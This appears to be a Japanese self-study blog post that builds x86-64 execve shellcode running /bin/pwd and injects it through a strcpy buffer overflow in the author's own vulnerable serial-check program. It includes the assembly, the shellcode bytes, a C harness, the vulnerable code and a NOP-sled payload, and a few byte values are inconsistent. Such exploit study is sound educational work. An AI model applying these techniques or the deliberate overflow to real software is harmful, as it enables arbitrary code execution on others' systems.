- まずはexecveの識別子を調べる
- pwdコマンドを実行するアセンブリ言語の実装
- バイト列を取得してシェルコードを生成する
- 実行確認用のコードをC言語で実装する
- バイパスコードをC言語で実装して動作検証を行う
- まとめ
まずはexecveの識別子を調べる
execveはシェルコマンドを実行する際に用いられるシステムコールです。
execveの識別子は/usr/include/x86_64-linux-gnu/asm/unistd_64.h
というヘッダファイルに定義されています。
この識別子よりgrepコマンドと組み合わせて必要な情報を抜き出します。
┌──(root㉿kali)-[/home/kali/] └─# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve #define __NR_execve 59 #define __NR_execveat 322 ┌──(root㉿kali)-[/home/kali/] └─# echo "/bin//pwd" | od -tx8z 0000000 77702f2f6e69622f 000000000000000a >/bin/pwd.< 0000011
上記では/bin/pwdという文字列をod
コマンドを使用して、16進数でダンプさせています。
必要な情報は77702f2f6e69622f
の部分のみになります。
この識別子をアセンブリ言語に埋め込んでいきます。
odコマンド参考 【 od 】コマンド――ファイルを8進数や16進数でダンプする:Linux基本コマンドTips(93) - @IT
pwdコマンドを実行するアセンブリ言語の実装
アセンブリ言語に先程取得した0x6477702f6e69622f
という文字列を記載します。
/bin/pwd
という文字列を16進数にダンプした文字列になります。
section .text global _start _start: xor rdx, rdx push rdx mov rax, 0x77702f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax,[rdx+59] syscall
アセンブリ言語の実行確認
上記で作成したアセンブリ言語をアセンブルして、実行します。
すると、アセンブリ言語が実行されたディレクトリ(下記の場合は/home/kali/pwd_asm
)が表示される事が分かります。
┌──(root㉿kali)-[/home/kali/] └─# nasm -f elf64 -o pwd_exec.o pwd_exec.asm ┌──(root㉿kali)-[/home/kali/] └─# ld pwd_exec.o -o pwd_exec ┌──(root㉿kali)-[/home/kali/] └─# ./pwd_exec /home/kali/pwd_asm
objdumpコマンドによるバイト列の確認
pwdコマンドを実行するアセンブリ言語を逆アセンブルした結果が下記になります。
機械語が記載されているのが確認出来るので、これをバイト列に書き換えます。
┌──(root㉿kali)-[/home/kali/] └─# objdump -D -M intel pwd_exec pwd_exec: ファイル形式 elf64-x86-64 セクション .text の逆アセンブル: 0000000000401000 <_start>: 401000: 48 31 d2 xor rdx,rdx 401003: 52 push rdx 401004: 48 b8 2f 62 69 6e 2f movabs rax,0x6477702f6e69622f 40100b: 70 77 64 40100e: 50 push rax 40100f: 48 89 e7 mov rdi,rsp 401012: 52 push rdx 401013: 57 push rdi 401014: 48 89 e6 mov rsi,rsp 401017: 48 8d 42 3b lea rax,[rdx+0x3b] 40101b: 0f 05 syscall
バイト列を取得してシェルコードを生成する
上記の逆アセンブルした実行結果に記載されている機械語を、バイト列に書き換えます。下記がpwdコマンドの実行に必要なバイト列になります。
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05
ダンプしたメモリをバイト列に書き換えるコマンド
必要な情報のみ抜き取るため、下記コマンドを実行します。
┌──(root㉿kali)-[/home/kali/] └─# objdump -D -M intel pwd_exec | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05
実行確認用のコードをC言語で実装する
取得したバイト列をc言語のソースコードに埋め込み、実行します
#include <stdio.h> #include <string.h> void main() { char const shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"; (*(void (*)())shellcode)(); }
C言語が実行されたディレクトリが表示されました。
バイト列で表されたpwdコマンドが正しく動作している事が確認できました。
┌──(root㉿kali)-[/home/kali] └─# ./pwd_shell /home/kali
バイパスコードをC言語で実装して動作検証を行う
次に、実行確認用のソースコードではなく、バイパスコードで動作検証を行います。
検証に使用するコードは下記記事でにも掲載してあるものです。
一部serial_buff
のサイズを16から64に変更してバッファ領域を広げてありますがそれ以外は同じです。
C言語でバッファオーバーフローのテストをする方法 - Security Record
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_serial(char *serial) { int flag = 0; char serial_buff[64]; //ここの数字を16から64に変更してバッファ領域を広げた strcpy(serial_buff, serial); if (strcmp(serial_buff, "SN123456") == 0) flag = 1; return flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Enter serial number!\n", argv[0]); exit(0); } if (check_serial(argv[1])){ printf("Serial number is correct.\n"); } else { printf("Serial number is worng.\n"); } }
ペイロードを注入して実行する
上記コードにペイロードを注入します。
するとpwdコマンドの実行結果が出力されていることが分かります。
(この辺の理解が特に浅いため、後ほど再度検証する予定。
NOPスレッドを用いて攻撃の成功率を高める方法など。NOPとは「なにもしない」事を指示するもの。)
┌──(root㉿kali)-[/home/kali] └─# ./bypass2 $(perl -e 'print "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" . "\x90"x59 . "x30\xe0\xff\xff\xff\x7f";') /home/kali
まとめ
アセンブリ言語やメモリの見方など前提知識がなく理解は3割程度ですが、 バッファオーバーフローが悪用される手順について、少しずつ分かってきました。
実際の攻撃はこんなにアナログではなくて自動化されていると思います。
それこそ、Metasploit Frameworkのexploitモジュールを探せばすぐに出てくるかもしれません。
でもそういうツールに頼らず、内部でどのような処理が行われるのかを理解することも重要だと思います。